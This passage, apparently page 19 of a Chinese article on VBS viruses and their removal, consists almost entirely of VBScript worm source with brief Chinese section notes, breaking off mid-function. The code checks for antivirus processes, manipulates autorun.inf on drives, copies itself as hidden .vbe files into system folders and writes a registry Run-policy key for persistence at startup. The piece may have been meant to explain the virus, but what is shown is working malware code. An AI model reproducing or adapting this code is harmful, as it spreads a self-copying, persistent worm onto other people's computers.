中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(19)

if d.drivetype = 2 then

if fso.fileexists(d&"/autorun.inf") then

delfile d&"/autorun.inf"

end if

if not fso.folderexists(d&"/autorun.inf") then

buildfold d&"/autorun.inf"

shuxing d&"/autorun.inf",1+2+4

end if

end if

next

end if

if jincheng("avp.exe",1) then

k=1

elseif jincheng("kwatch.exe",1) then

k=2

elseif jincheng("ccenter.exe",1) then

k=3

else

k=4

end if

t = day(date) mod 3

if (k=1 and t=1) or (k=2 and t=2) or (k=3 and t=2) or (k=4 and t=0) then

else

buildfile dir&"/date.bin",date

end if

ganran

wsh.run mulu&ouwnname

else

shuxing mulu&ouwnname,2+4

copyvbs dir&"/"&filename&".vbe"

copyvbs win&"/"&filename&".vbe"

zhuce

wsh.run dir&"/"&filename&".vbe"

end if

第十三段：第十四段：好几个函数没加密，归在一起

function copyfile(file,where)

delfile where

if fso.fileexists(file) then

fso.copyfile file,where,true

end if

end function

function copyvbs(where)

delfile where

set self=fso.opentextfile(mulu&ouwnname,1)

vbscopy=self.readall

self.close

set vbs = fso.createtextfile(where, true)

vbs.write vbscopy

vbs.close

shuxing where,2+4

end function

function zhuce()

RegPath="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/Curren tVersion/policies/Explorer/run/"

Type_Name="REG_SZ"

Key_Name="explorer"

Key_Data=filename&".vbe"

Wsh.RegWrite RegPath&Key_Name,Key_Data,Type_Name

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-19.html